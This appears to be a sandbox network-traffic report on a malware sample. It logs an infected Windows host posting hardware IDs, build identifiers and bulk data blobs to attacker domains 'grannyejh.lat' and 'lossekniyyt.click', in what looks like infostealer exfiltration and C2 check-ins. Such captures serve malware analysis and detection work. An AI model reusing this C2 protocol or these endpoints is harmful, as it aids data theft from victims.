2024-12-18 14:57:50 UTC	15331	OUT	Data Raw: d2 4c f2 4f 75 8e f9 26 f2 ec 84 3d d3 2d e7 6b b8 87 cd b9 48 7b 90 b0 30 52 f1 e0 fc d9 8f 27 13 04 3b 84 9a 37 8e 3d 00 d9 f5 38 e2 42 6b 8d 56 36 66 e6 f9 2b 5c dd e9 c6 18 4e a4 37 47 ba dc 86 31 51 1f 38 24 dd 5b b3 e1 47 a1 5e b7 33 4b c6 65 38 78 5d 5e ea cb 1e 94 20 d2 54 42 d2 ca 96 04 7f f5 f6 e4 d6 e9 f4 ff b2 14 64 14 47 4a 09 0b cf 54 38 87 ea f3 89 be 45 13 1f 37 c2 f5 c5 c3 5f b0 0a 23 b6 20 e0 9d 2a 2e e1 0d 31 22 ec f9 69 05 36 81 6b 8b f2 a4 6a 7d 2d df cd 39 96 2f 0d cc e3 9a 50 0f 75 48 d9 35 65 4e 1f 34 c6 e9 f7 e8 33 cc e0 59 7a c5 82 b6 ef 42 15 a3 7c 58 73 d5 92 31 fe fa 9b 14 47 8b d3 5e 80 d8 b2 56 19 39 e8 fb ed cd b3 32 c5 16 d5 fa 27 b9 d7 e8 2f eb ee e0 de 2a ef 87 e9 5d 82 60 68 d9 66 5b 15 0b 88 eb 81 bf ab 27 07 be 9b e5 Data Ascii: LOu&=-kH{0R';7=8BkV6f+\N7G1Q8$[G^3Ke8x]^ TBdGJT8E7_# .1"i6kj}-9/PuH5eN43YzB\|Xs1G^V92'/]`hf['
2024-12-18 14:57:50 UTC	15331	OUT	Data Raw: 71 3d 09 79 36 6c 19 7a 3d e5 5e bb ba ba f8 0e 0e 4d 33 4c 27 e5 e4 83 40 90 ac 9c 30 a3 66 60 ac 25 2a 57 a4 b0 cf fc a3 1f 07 9d c9 ca 7c 5d eb 25 92 6c 43 3f 45 fa e1 97 79 79 8e d2 42 73 ac bd fb f1 da 69 cc 09 8b 3b b3 80 d5 f4 ef d7 c5 5f a9 3b d1 44 08 4a 57 75 60 86 94 04 25 23 b0 6f 70 75 e5 69 9c 4b 23 93 9c 82 af ea 75 f4 bd e3 34 59 af 38 e4 62 43 f9 fd bd f5 55 8b 61 25 e4 02 56 a6 33 b2 77 68 95 22 85 a3 27 2b 7e e3 5f 65 1d ca 98 e1 36 cf c8 73 35 ab 53 0f e6 e2 11 4b b3 1e aa ed 0e 80 aa 39 27 7e b6 6f b2 66 9c 1b 1a 57 86 7f 98 a6 cb d9 ce a2 d7 0a 32 4b 46 8d 1f 60 48 cc f2 fa 72 7b 24 18 01 ac 3e c7 7f 1a 19 39 71 08 ec 71 65 00 91 d6 34 1c 9f 11 2c 81 63 63 58 43 42 dd 8d c9 cc 9f f2 50 da 88 55 4e 4b 60 19 b0 3b 77 56 75 8b 5b c7 8a Data Ascii: q=y6lz=^M3L'@0f`%*W\|]%lC?EyyBsi;_;DJWu`%#opuiK#u4Y8bCUa%V3wh"'+~_e6s5SK9'~ofW2KF`Hr{$>9qqe4,ccXCBPUNK`;wVu[
2024-12-18 14:57:50 UTC	15331	OUT	Data Raw: b6 74 40 65 77 e4 b1 4a 29 ca 3b de 1b 00 97 65 e2 34 18 59 db c9 85 c2 96 70 42 be 1a a6 b8 d5 24 90 13 23 0b f9 05 7c 1c 11 5f 31 8d 0e 49 80 e9 c0 7f f4 16 34 fd 6d 48 35 d3 35 98 ed a5 a3 6d 87 a5 b7 95 a1 24 c4 67 c2 4b 05 3a 95 ad d2 b2 0f 12 24 dc eb 90 31 d1 31 d1 91 3a 36 a1 7a 63 5b 9d 7c c4 98 d0 e0 c4 da 3e c9 53 7a 2d 0e da 11 2f 0c 80 cf 6f f4 45 b2 81 8a ad 07 7c eb 53 72 fa ef 08 28 00 ba 15 07 cc 91 b7 65 19 25 7b 70 7d 70 a1 b8 96 b2 02 38 21 b3 61 19 ed 27 8c a3 53 cc 4c 23 8d 5b 59 51 5d a2 2d 39 9a dd c1 ff 32 5c e0 88 d4 2d 8c a6 a9 a2 42 44 c0 f2 e9 68 72 fa 6a f6 4b f3 36 9e d5 c7 3a ef b1 fc 7b 3d 45 50 73 bc 55 f0 c8 c6 dd 6f e6 98 65 a6 b0 06 f6 c5 4e ad 2e d9 3c 9f c6 c4 ae 0f 96 2d d9 ad 26 fd 73 72 f7 99 ef 75 da 9a 62 d8 95 Data Ascii: t@ewJ);e4YpB$#\|_1I4mH55m$gK:$11:6zc[\|>Sz-/oE\|Sr(e%{p}p8!a'SL#[YQ]-92\-BDhrjK6:{=EPsUoeN.<-&srub
2024-12-18 14:57:50 UTC	15331	OUT	Data Raw: 2e 57 ed 3d 54 e9 60 76 92 a8 fa 72 69 e8 42 94 0d 5c 54 3c 9c fc be 23 11 4d bf 4d d5 3a 81 7c 5e bc 56 0c ea 91 13 0e f1 83 1f ab 0c e9 e5 c7 59 5d 38 d0 7d fd ba 69 36 68 09 a7 ef fe 4a 93 df 6e db 2a 43 d1 43 c2 e9 06 80 9a 2d 0b ba 0f e2 65 4b 0a ad 91 1f ed 96 a0 69 44 85 06 10 73 1e 68 99 25 12 73 1c 5e 39 61 61 f1 95 00 ea fe 65 8e e1 a3 a1 13 9e d6 62 3c e2 df 42 3f 66 b8 ae 39 be 3b 59 93 29 06 51 3d 84 3a 95 90 f4 cf 68 7a fc 60 04 dc 48 7f 58 71 04 3c 7b 2e e1 6f 4b d8 ce e7 33 94 5f 6c 2c 27 2a a4 de 82 c4 5d 52 7c 59 42 a0 77 32 3b 2a 14 04 4b 4b dc e9 3a bc a7 da 36 43 5b 8b 80 cd 45 32 0d 72 12 dc dd fc 85 28 36 01 a1 78 5e a9 4a de a4 80 8a 3d 6b 1f 97 c1 a5 6f f2 91 a1 cf 6d 42 c2 62 b2 a3 03 0f b3 da 02 3d b0 0a 75 d9 4c 01 6a 2d 42 65 Data Ascii: .W=T`vriB\T<#MM:\|^VY]8}i6hJnCC-eKiDsh%s^9aaeb<B?f9;Y)Q=:hz`HXq<{.oK3_l,']R\|YBw2;*KK:6C[E2r(6x^J=komBb=uLj-Be
2024-12-18 14:57:50 UTC	15331	OUT	Data Raw: d4 5a 7f 9b f1 34 e0 69 c8 67 82 e4 3a 5b be 7a 22 d0 f1 b7 b2 85 2f 83 eb ff 22 6d 45 49 f6 7c 13 fa 2b 06 e7 19 73 6c 46 9e bf 08 e5 1b 77 78 a4 25 58 d7 4d bd 8d e3 b6 1b f1 b3 7f 89 bc 2f 46 c1 7e fa 85 47 6c cb 83 02 f2 dc a7 7e 4d 56 e2 48 0f e7 2b b8 9c c9 f2 c0 85 d8 f9 b2 09 79 1c 3e 64 f5 a3 e3 29 bf 81 00 2b 9f 09 b5 50 29 f6 c8 44 45 0c 87 d3 cc 75 ff 13 1e 1a 03 f4 c1 7f 66 38 68 cc c3 34 c6 8b 83 4d b7 01 f3 0c 0e 34 c7 0c 0e 64 43 0c 73 d9 0c 65 ef d5 cf 92 6f 1e e4 74 35 6d 13 50 f4 5b 8e f2 1d 16 d3 4e 47 55 40 e2 b4 28 18 a1 64 f3 a1 bd 10 20 26 4d 25 93 c9 10 c3 c2 18 e6 05 de e7 c5 a1 7b 86 15 1f ff 40 c3 8b 0b 1f 42 7e 16 d8 69 6b 3d 43 19 ea 60 c4 f0 28 54 bc da cd ef f6 43 c5 75 03 d5 f2 27 d0 45 7e fd e1 7f 3d 62 f9 79 b7 05 be 5f Data Ascii: Z4ig:[z"/"mEI\|+slFwx%XM/F~Gl~MVH+y>d)+P)DEuf8h4M4dCseot5mP[NGU@(d &M%{@B~ik=C`(TCu'E~=by_
2024-12-18 14:57:50 UTC	15331	OUT	Data Raw: 77 6b a3 2e 5c 0d f5 4c e4 6b 6b 52 f3 2c 01 36 d5 e4 e1 31 97 bd e5 ae 9b 46 1b 1d 25 43 ab f8 a2 37 a8 d8 a6 2c 33 f4 ac af 1d c6 41 10 e8 0e fd f6 e8 8f 09 a5 68 eb 0b fb 7d f1 4f 94 c8 07 f8 61 0b 07 59 b5 1a c4 8c d4 0f 3f 2b fc 60 e4 3d c0 7a 9a fc 61 96 10 6d 4a 3c 3c 7f 71 3f 46 29 3e 40 f9 ef fc ee 0b 8a c8 0a 49 e7 a1 f7 c5 44 a3 95 ae a3 b1 6b 75 e4 53 4f ab 85 57 30 53 60 7c b2 df a2 46 eb a2 32 15 ff e0 c9 8c 87 07 a4 c1 6e 0e 9f c4 7c a8 12 88 86 29 71 df b0 57 d7 cf 06 e7 74 42 3f 74 03 d1 5b e6 97 1c c3 4f ed 2e 98 a3 ea dd ea d0 1d da e5 7c 0f 94 fa 7c fa 78 6c 90 e2 ca bd 8d 3c 55 58 36 22 3f af 35 a4 73 ab ec 6c e1 ad 32 79 4a 4d b8 f8 1c 9f bb 05 a3 0f f4 eb dd f8 1f 57 d6 7f 96 c3 a4 88 11 4f 3e bd 77 57 39 63 93 d5 3c 50 57 b6 1c a9 Data Ascii: wk.\LkkR,61F%C7,3Ah}OaY?+`=zamJ<<q?F)>@IDkuSOW0S`\|F2n\|)qWtB?t[O.\|\|xl<UX6"?5sl2yJMWO>wW9c<PW
2024-12-18 14:57:50 UTC	15331	OUT	Data Raw: 76 bb 0b ae e0 ee ad 8e 2a cd 9b ca 24 78 7e b0 cf 86 66 6d 0f a9 aa e6 1e bd 23 b4 d9 6b 58 a4 d9 f4 1d 01 ab c5 ee b9 bb fc 82 ea fc ea 67 4f 93 59 74 c3 db 09 57 11 b9 d7 ed dd ef 01 12 24 29 20 0c 81 be 7f 68 da 58 fc ee 7d ee 8c 8b 9d d9 46 9d 95 d7 02 1f 0d 4e 74 12 36 f7 e7 db 0a ef 6b 4c a7 1f 47 85 0c 2b bb 8d bf bf d9 76 ea 0c e2 6d ff 21 e6 66 48 69 36 c4 bc 1c b4 e2 d3 a5 37 14 c5 d4 9a 8f 0c 90 95 50 5c 71 4f 49 2f 4b b7 17 98 7c df 4c f9 ec 3e f4 76 ed 04 31 4c 92 76 01 55 89 06 ad 12 28 2b 3b 29 fe 9b 61 95 87 cc 88 c7 3b 85 c1 ce 91 6c db fc 8f aa 02 5f c2 0b ff 97 27 00 3f ef 92 73 b0 17 64 4e 32 cb 8a 1b 7e 44 0e 36 33 36 cf a4 6c 58 89 e8 79 94 1f 59 70 5f fb e8 24 ac 5d fa 49 59 9f 97 c9 ae ab 3f 1b 92 19 13 3d 73 c9 bf 34 58 50 10 2f Data Ascii: v*$x~fm#kXgOYtW$) hX}FNt6kLG+vm!fHi67P\qOI/K\|L>v1LvU(+;)a;l_'?sdN2~D636lXyYp_$]IY?=s4XP/
2024-12-18 14:57:50 UTC	15331	OUT	Data Raw: 2e a6 36 d4 f6 6f 4d 64 d3 7c 32 5b a2 98 9f df 78 1a 08 93 7d 26 cb fa ec cf 99 56 7a ea 31 7b 16 b4 fc 2b f4 98 5d 86 7b 5a d9 73 77 6d 8a 29 95 fc 32 dc ef e6 87 67 a5 42 dc 33 06 8a 66 6f ce a6 84 67 3b f6 68 32 da 5a a3 a6 56 de 8d 2d fb bf 77 48 de ba 34 66 5e 30 94 e7 72 7f 6b 5c 29 27 a1 c0 bf c2 a0 72 8a ad e8 6d c8 0a 9d 7b 09 45 0d 24 02 7a 35 63 70 b9 d7 fc f2 c5 49 57 cc 1b 19 ff ae 85 2b 5f c7 f2 87 78 27 16 aa 96 f3 4d 87 66 93 16 ae 61 b1 00 db d5 af d3 66 f4 d4 b5 94 fe 76 96 52 19 bc 9a 06 be 2f 5e 95 18 ec ff 77 fc 83 1e 02 f1 57 0e 47 36 72 be ae 6e 7f 75 65 b7 a6 da e3 ed c5 c0 ca 55 79 ef 8d 3f 28 b6 e4 55 e9 a0 8b d6 4d 4e 2b c1 36 a7 2b 4f 79 0d 3b 6b ee 5f 7c 5f 37 07 9d 75 3c 81 35 cb 36 2e 3d 59 29 7a 6f 7a 56 d0 f5 ad 8e 83 83 Data Ascii: .6oMd\|2[x}&Vz1{+]{Zswm)2gB3fog;h2ZV-wH4f^0rk\)'rm{E$z5cpIW+_x'MfafvR/^wWG6rnueUy?(UMN+6+Oy;k_\|_7u<56.=Y)zozV
2024-12-18 14:57:52 UTC	1046	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=og05qjk5fpeg9eaimlgpkr9k8d; expires=Sun, 13-Apr-2025 08:44:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bP9QsB4HJ2QxHdGoPbQB2lwPG1Jt52Pjb6FgJOEPhp9PseAa4XlRS8QiS6E%2FwIdPdi5OZU0p2T2b78%2F5UBrp7lGPTLWAloDCxIpQcsGIRwMivSYiBpQOAiWMa9eQ2VtQhksSZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4001f3edd38c59-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1891&min_rtt=1883&rtt_var=724&sent=205&recv=601&lost=0&retrans=0&sent_bytes=2842&recv_bytes=583032&delivery_rate=1494370&cwnd=196&unsent_bytes=0&cid=88fb3375cdde07a2&ts=2338&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.10	50079	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:51 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MFAFRGAKWM9MP8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15055 Host: grannyejh.lat
2024-12-18 14:57:51 UTC	15055	OUT	Data Raw: 2d 2d 4d 46 41 46 52 47 41 4b 57 4d 39 4d 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 4d 46 41 46 52 47 41 4b 57 4d 39 4d 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 46 41 46 52 47 41 4b 57 4d 39 4d 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 4d 46 41 Data Ascii: --MFAFRGAKWM9MP8Content-Disposition: form-data; name="hwid"0B8A63061446965500D57F9DDD37BE0C--MFAFRGAKWM9MP8Content-Disposition: form-data; name="pid"2--MFAFRGAKWM9MP8Content-Disposition: form-data; name="lid"yau6Na--6989783370--MFA
2024-12-18 14:57:52 UTC	1047	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7p8vphh4eufuquqg39nejrpbr0; expires=Sun, 13-Apr-2025 08:44:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5KHdAZ%2FtO%2FKFXqRxZotwbten%2F%2B7pkbmcuAVx3tGCasQjdvkAG83tWg8gI8UfE%2BviUYfuxggaERePxLNNtVbbxEP%2BL0sF8bUt%2FVghF7PExpb2uAd%2F5rco%2BbX%2FZOZ3y6GS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4001faee0742d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1634&min_rtt=1611&rtt_var=621&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2831&recv_bytes=15988&delivery_rate=1812538&cwnd=207&unsent_bytes=0&cid=5d0ba2a43a28cb04&ts=1087&x=0"
2024-12-18 14:57:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:57:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.10	50087	104.21.12.88	443	7656	C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:54 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: lossekniyyt.click
2024-12-18 14:57:54 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 5a 31 63 79 63 2d 2d 26 6a 3d 26 68 77 69 64 3d 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=9Z1cyc--&j=&hwid=0B8A630614469655AC8923850305D13E
2024-12-18 14:57:55 UTC	1046	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=98bkc0rdjnpid4os2ihukpi02e; expires=Sun, 13-Apr-2025 08:44:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BVKwTLGu%2Bbi3KlcWejmwN2ywjQymhetmuNg4Ch1gkLgiP7xhhoKS49%2FVtWLCxbkfwKIL10fdQMuzF%2BeDdiAqyPKMzS4mUK3HN%2FHpMIh%2BkxodRJp6IdAjQiYUWvi57oSc%2Bj60gA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f40020ced137cff-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1990&min_rtt=1981&rtt_var=762&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=978&delivery_rate=1418853&cwnd=222&unsent_bytes=0&cid=bbf766252fd50e60&ts=738&x=0"
2024-12-18 14:57:55 UTC	54	IN	Data Raw: 33 30 0d 0a 38 6e 45 58 45 35 68 64 46 51 58 56 4f 66 51 6e 35 6c 2b 64 6f 38 79 79 62 52 57 74 63 46 4c 4a 6d 4c 4e 50 35 70 6d 75 62 66 36 70 4c 41 3d 3d 0d 0a Data Ascii: 308nEXE5hdFQXVOfQn5l+do8yybRWtcFLJmLNP5pmubf6pLA==
2024-12-18 14:57:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.10	50086	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:54 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=45UJYYVVVF4ZZ00DX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20435 Host: grannyejh.lat
2024-12-18 14:57:54 UTC	15331	OUT	Data Raw: 2d 2d 34 35 55 4a 59 59 56 56 56 46 34 5a 5a 30 30 44 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 34 35 55 4a 59 59 56 56 56 46 34 5a 5a 30 30 44 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 34 35 55 4a 59 59 56 56 56 46 34 5a 5a 30 30 44 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 Data Ascii: --45UJYYVVVF4ZZ00DXContent-Disposition: form-data; name="hwid"0B8A63061446965500D57F9DDD37BE0C--45UJYYVVVF4ZZ00DXContent-Disposition: form-data; name="pid"3--45UJYYVVVF4ZZ00DXContent-Disposition: form-data; name="lid"yau6Na--69897833
2024-12-18 14:57:54 UTC	5104	OUT	Data Raw: 00 00 00 00 00 00 60 83 eb 8b 82 f9 0d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 70 fd 51 30 bf e1 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0d ae 2f 0a e6 37 fc 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c1 f5 47 c1 fc 86 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b8 be 28 98 df f0 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 d7 1f 05 f3 1b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e0 fa a2 60 7e c3 4f 03 00 00 Data Ascii: `?lpQ0/74G6(~`~O
2024-12-18 14:57:55 UTC	1041	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bnrspadgi169tru20rcn9n7ss2; expires=Sun, 13-Apr-2025 08:44:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=puvGZDsjsMr3edK%2FndCmcbHCpS9ekj6SDX%2B0NvwSFJ3fOlvqW5AfCnk4i9Y4TfzC%2BPTdocHQ4j6IT%2FnfKToR82c4foW0G%2Fbwg%2FdyRvqYIj0kBDNHRom7Ku%2BcIzxotdnY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f40020c4a7b427c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1597&rtt_var=606&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2830&recv_bytes=21393&delivery_rate=1794714&cwnd=245&unsent_bytes=0&cid=a0d44d20c7966d63&ts=1206&x=0"
2024-12-18 14:57:55 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:57:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.10	50096	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:57 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JRW42KY6RL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1299 Host: grannyejh.lat
2024-12-18 14:57:57 UTC	1299	OUT	Data Raw: 2d 2d 4a 52 57 34 32 4b 59 36 52 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 4a 52 57 34 32 4b 59 36 52 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 52 57 34 32 4b 59 36 52 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 4a 52 57 34 32 4b 59 36 52 4c 0d 0a 43 6f 6e Data Ascii: --JRW42KY6RLContent-Disposition: form-data; name="hwid"0B8A63061446965500D57F9DDD37BE0C--JRW42KY6RLContent-Disposition: form-data; name="pid"1--JRW42KY6RLContent-Disposition: form-data; name="lid"yau6Na--6989783370--JRW42KY6RLCon
2024-12-18 14:57:58 UTC	1034	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6fcqqltrat8biclftvlk827lkc; expires=Sun, 13-Apr-2025 08:44:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AtR84CBAwWUDrOCXcF0CNluuIEkA%2FxX%2Ffzp5KDrbb4X9uMtj7W6X1ShFpA4kfR873OKkvLRwRWY4F%2F5lU873j3hY0wow1hr%2Blhk1FCwGYYFGFPbSqcE%2BxKVJqynynAVJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f40021f1e588c1b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2638&min_rtt=1887&rtt_var=1244&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=2205&delivery_rate=1547429&cwnd=210&unsent_bytes=0&cid=4d58bba23cb06bbd&ts=794&x=0"
2024-12-18 14:57:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:57:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.10	50107	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:58:01 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=945K54HF868S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 586613 Host: grannyejh.lat
